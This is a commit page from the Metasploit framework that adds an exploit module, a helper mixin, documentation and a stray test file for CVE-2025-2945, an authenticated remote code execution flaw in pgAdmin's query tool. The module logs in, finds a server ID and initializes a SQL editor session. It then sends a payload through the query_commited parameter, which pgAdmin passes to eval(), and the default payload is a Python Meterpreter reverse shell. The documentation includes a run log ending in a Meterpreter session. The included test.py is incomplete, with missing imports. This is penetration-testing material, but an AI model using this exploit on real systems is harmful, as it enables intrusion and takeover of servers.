Skip to content

Commit 290a35b

Browse files
committed
pgAdmin Query Tool Authenticated RCE (CVE-2025-2945)
1 parent 2c64d15 commit 290a35b

File tree

5 files changed

+372
-1
lines changed

5 files changed

+372
-1
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
6+
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
7+
statement, resulting in remote code execution in versions prior to 9.2.
8+
9+
To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
10+
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
11+
which is required for the exploit.
12+
13+
14+
### Setup
15+
16+
A pgAdmin Docker instance can be started using the following command:
17+
```bash
18+
docker run -d -p 8484:80 -e [email protected] -e PGADMIN_DEFAULT_PASSWORD=adminpassword --name pgadmin dpage/pgadmin4:9.0
19+
```
20+
A PostgreSQL database needs to be connected to the pgAdmin instance in order to exploit. The version of postgresql doesn't matter:
21+
```bash
22+
docker run -d \\n -p 5432:5432 \\n --name postgres \\n -e POSTGRES_PASSWORD=mysecretpassword \\n -e POSTGRES_USER=pgadminuser \\n -e POSTGRES_DB=pgadmin \\n postgres:latest
23+
```
24+
25+
## Verification Steps
26+
1. Start msfconsole.
27+
1. Do: use exploit/multi/http/pgadmin_query_tool_authenticated.
28+
1. Set the RHOST, USERNAME, PASSWORD, DB_USER, DB_PASS AND DB_NAME options.
29+
1. Run the module.
30+
1. Receive a Meterpreter session as the pgAdmin user.
31+
32+
## Options
33+
34+
### USERNAME
35+
The username for authentication (required).
36+
37+
### PASSWORD
38+
The password for authentication (required).
39+
40+
### DB_USER
41+
The database username to authenticate to the database with (required).
42+
43+
### DB_PASS
44+
The password to authenticate to the database with (required).
45+
46+
### DB_NAME
47+
The name of the database to target (required)
48+
49+
### MAX_SERVER_ID
50+
The maximum number of Server IDs to try and connect to. This is used to determine the correct server ID for the exploit.
51+
A valid `sid` is required in order to connect to the query_tool in order to exploit. The default value is 10.
52+
53+
## Scenarios
54+
### pgAdmin 4 v9.0
55+
```
56+
msf6 exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres db_user=pgadminuser db_pass=mysecretpassword rhost=127.0.0.1 rport=8484 [email protected] password=adminpassword lhost=172.16.199.1 MAX_SERVER_ID=10 verbose=true
57+
[*] Started reverse TCP handler on 172.16.199.1:4444
58+
[*] Running automatic check ("set AutoCheck false" to disable)
59+
[+] The target appears to be vulnerable. pgAdmin version 9.0.0 is affected
60+
[+] Successfully authenticated to pgAdmin
61+
[*] Trying server ID: 1
62+
[*] Trying server ID: 2
63+
[*] Trying server ID: 3
64+
[+] Successfully posted to sqleditor panel with transaction ID: 9377994 and sid: 3
65+
[+] Successfully initialized sqleditor
66+
[*] Exploiting the target...
67+
[*] Sending stage (24772 bytes) to 172.16.199.1
68+
[+] Received a 500 response from the exploit attempt, this is expected
69+
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:62455) at 2025-04-09 17:05:17 -0700
70+
71+
meterpreter > getuid
72+
Server username: pgadmin
73+
smeterpreter > sysinfo
74+
Computer : e9b855f7cda2
75+
OS : Linux 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Mar 20 16:36:58 UTC 2025
76+
Architecture : x64
77+
Meterpreter : python/linux
78+
meterpreter >
79+
```

lib/msf/core/exploit/pgadmin.rb

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
# -*- coding: binary -*-
2+
3+
#
4+
# This mixin provides helpers to interact with pgAdmin. It provides methods to:
5+
# - authenticate
6+
# - obtain the CSRF token,
7+
# - check the version of pgAdmin.
8+
#
9+
module Msf
10+
module Exploit::PgAdmin
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def get_version
14+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
15+
return unless res&.code == 200
16+
17+
html_document = res.get_html_document
18+
return unless html_document.xpath('//title').text == 'pgAdmin 4'
19+
20+
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
21+
return unless versioned_link
22+
23+
set_csrf_token_from_login_page(res)
24+
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
25+
end
26+
27+
def check_version(patched_version)
28+
version = get_version
29+
return Msf::Exploit::CheckCode::Unknown('Unable to determine the target version') unless version
30+
return Msf::Exploit::CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new(patched_version)
31+
32+
Msf::Exploit::CheckCode::Appears("pgAdmin version #{version} is affected")
33+
end
34+
35+
def csrf_token
36+
return @csrf_token if @csrf_token
37+
38+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
39+
set_csrf_token_from_login_page(res)
40+
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
41+
@csrf_token
42+
end
43+
44+
def set_csrf_token_from_login_page(res)
45+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
46+
@csrf_token = Regexp.last_match(1)
47+
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
48+
@csrf_token = element['value']
49+
end
50+
end
51+
52+
def authenticate(username, password)
53+
res = send_request_cgi({
54+
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
55+
'method' => 'POST',
56+
'keep_cookies' => true,
57+
'vars_post' => {
58+
'csrf_token' => csrf_token,
59+
'email' => username,
60+
'password' => password,
61+
'language' => 'en',
62+
'internal_button' => 'Login'
63+
}
64+
})
65+
66+
unless res&.code == 302 && res&.headers&.[]('Location') != normalize_uri(target_uri.path, 'login')
67+
fail_with(Msf::Exploit::Failure::NoAccess, 'Failed to authenticate to pgAdmin')
68+
end
69+
70+
print_good('Successfully authenticated to pgAdmin')
71+
res
72+
end
73+
end
74+
end

lib/msf_autoload.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -301,7 +301,8 @@ def custom_inflections
301301
'teamcity' => 'TeamCity',
302302
'nist_sp_800_38f' => 'NIST_SP_800_38f',
303303
'nist_sp_800_108' => 'NIST_SP_800_108',
304-
'pfsense' => 'PfSense'
304+
'pfsense' => 'PfSense',
305+
'pgadmin' => 'PgAdmin',
305306
}
306307
end
307308

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::PgAdmin
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'pgAdmin Query Tool authenticated RCE (CVE-2025-2945)',
18+
'Description' => %q{
19+
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
20+
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
21+
statement, resulting in remote code execution in versions prior to 9.2.
22+
23+
To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
24+
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
25+
which is required for the exploit.
26+
},
27+
'Author' => [
28+
'pyozzi-toss', # Vulnerability discovery
29+
'jheysel-r7' # msf module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2025-2945'],
34+
],
35+
'Platform' => ['python'],
36+
'Arch' => [ ARCH_PYTHON],
37+
'Targets' => [
38+
[
39+
'Python payload',
40+
{
41+
'Platform' => 'python',
42+
'Arch' => ARCH_PYTHON,
43+
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
44+
}
45+
]
46+
],
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => '2025-04-03',
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'Reliability' => [REPEATABLE_SESSION],
52+
'SideEffects' => [IOC_IN_LOGS]
53+
}
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
Opt::RPORT(80),
60+
OptString.new('USERNAME', [true, 'The username to authenticate to pgadmin with', '']),
61+
OptString.new('PASSWORD', [true, 'The password to authenticate to pgadmin with', '']),
62+
OptString.new('DB_USER', [true, 'The username to authenticate to the database with', '']),
63+
OptString.new('DB_PASS', [true, 'The password to authenticate to the database with', '']),
64+
OptString.new('DB_NAME', [true, 'The database to authenticate to', '']),
65+
OptInt.new('MAX_SERVER_ID', [true, 'The maximum number of Server IDs to try and connect to.', 10]),
66+
]
67+
)
68+
end
69+
70+
def check
71+
check_version('9.2')
72+
end
73+
74+
# Return only the required URI encoded fields in order for the POST request to be successful
75+
# @return [String] The URI encoded form data for the POST request
76+
def get_post_data
77+
URI.encode_www_form({
78+
'title' => Faker::App.name.downcase,
79+
'selectedNodeInfo' => {
80+
'database' => {
81+
'id' => Faker::App.name.downcase
82+
}
83+
}
84+
})
85+
end
86+
87+
def post_sqleditor_panel(trans_id, sgid, sid, did)
88+
res = send_request_cgi({
89+
'uri' => normalize_uri(target_uri.path, "/sqleditor/panel/#{trans_id}?is_query_tool=true&sgid=#{sgid}&sid=#{sid}&did=#{did}&database_name=#{datastore['DB_NAME']}"),
90+
'method' => 'POST',
91+
'keep_cookies' => true,
92+
'ctype' => 'application/x-www-form-urlencoded',
93+
'headers' => {
94+
'X-pgA-CSRFToken' => csrf_token
95+
},
96+
'data' => get_post_data
97+
})
98+
99+
unless res&.code == 200
100+
errmsg = res&.get_json_document&.dig('errormsg') || 'unknown error'
101+
fail_with(Failure::UnexpectedReply, "POST request to sqleditor panel failed: #{errmsg}")
102+
end
103+
print_good("Successfully posted to sqleditor panel with transaction ID: #{trans_id} and sid: #{sid}")
104+
end
105+
106+
def post_initialize_sqleditor(trans_id, sgid, sid, did)
107+
res = send_request_cgi({
108+
'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
109+
'method' => 'POST',
110+
'keep_cookies' => true,
111+
'ctype' => 'application/json',
112+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
113+
'data' => {
114+
'user' => datastore['DB_USER'],
115+
'password' => datastore['DB_PASS'],
116+
'role' => '',
117+
'dbname' => datastore['DB_NAME']
118+
}.to_json
119+
})
120+
121+
unless res&.code == 200
122+
errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'
123+
fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}")
124+
end
125+
126+
print_good('Successfully initialized sqleditor')
127+
end
128+
129+
def find_valid_server_id(sgid)
130+
(1..datastore['MAX_SERVER_ID']).each do |sid|
131+
vprint_status("Trying server ID: #{sid}")
132+
res = send_request_cgi({
133+
'uri' => normalize_uri(target_uri.path, "/sqleditor/get_server_connection/#{sgid}/#{sid}"),
134+
'method' => 'GET',
135+
'keep_cookies' => true,
136+
'ctype' => 'application/x-www-form-urlencoded',
137+
'headers' => {
138+
'X-pgA-CSRFToken' => csrf_token
139+
}
140+
})
141+
if res&.get_json_document&.dig('data', 'status')
142+
return sid
143+
end
144+
end
145+
fail_with(Failure::NoTarget, 'Failed to find a valid server ID, try increasing MAX_SERVER_ID')
146+
end
147+
148+
# In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid
149+
# transaction ID. This is done by sending a POST request to the sqleditor/panel endpoint with the necessary parameters
150+
# @return [String] The transaction ID for the SQL editor
151+
def sqleditor_init(trans_id)
152+
sgid = rand(1..10)
153+
did = rand(10000..99999)
154+
sid = find_valid_server_id(sgid)
155+
post_sqleditor_panel(trans_id, sgid, sid, did)
156+
post_initialize_sqleditor(trans_id, sgid, sid, did)
157+
end
158+
159+
def exploit
160+
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
161+
trans_id = rand(1_000_000..9_999_999)
162+
sqleditor_init(trans_id)
163+
164+
print_status('Exploiting the target...')
165+
res = send_request_cgi({
166+
'uri' => normalize_uri(target_uri.path, "/sqleditor/query_tool/download/#{trans_id}"),
167+
'method' => 'POST',
168+
'ctype' => 'application/json',
169+
'keep_cookies' => true,
170+
'headers' => {
171+
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/sqleditor/panel/#{trans_id}?is_query_tool=true",
172+
'X-Pga-Csrftoken' => csrf_token
173+
},
174+
'data' => {
175+
'query_commited' => payload.encoded
176+
}.to_json
177+
})
178+
print_error('No response received from exploit attempt') unless res
179+
print_good('Received a 500 response from the exploit attempt, this is expected') if res&.code == 500
180+
print_error("Received an unexpected response code from the exploit attempt: #{res&.code}") if res&.code != 500
181+
end
182+
end

test.py

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
from pgadmin.utils.ajax import make_json_response
2+
from pgadmin.tools.sqleditor.utils.start_running_query import StartRunningQuery
3+
from pgadmin.tools.sqleditor import check_transaction_status
4+
5+
def start_query_tool_session():
6+
trans_id = str(secrets.choice(range(1, 9999999)))
7+
session_obj = {} # Initialize session object
8+
trans_obj = {} # Initialize transaction object
9+
10+
# Save transaction in session
11+
StartRunningQuery.save_transaction_in_session(session_obj, trans_id, trans_obj)
12+
return trans_id
13+
14+
15+
def execute_query_with_trans_id(trans_id, sql):
16+
# Retrieve session information
17+
session_obj = StartRunningQuery.retrieve_session_information(session, trans_id)
18+
19+
if isinstance(session_obj, Response):
20+
return session_obj
21+
22+
trans_obj = pickle.loads(session_obj['command_obj'])
23+
conn = get_connection(trans_obj.sid) # Function to get connection
24+
25+
# Execute the query
26+
conn.execute_async(sql)
27+
28+
def check_trans_status(trans_id):
29+
status, error_msg, conn, trans_obj, session_obj = check_transaction_status(trans_id)
30+
if not status:
31+
return error_msg
32+
return conn.transaction_status()
33+
34+
35+
start_query_tool_session

0 commit comments

Comments
 (0)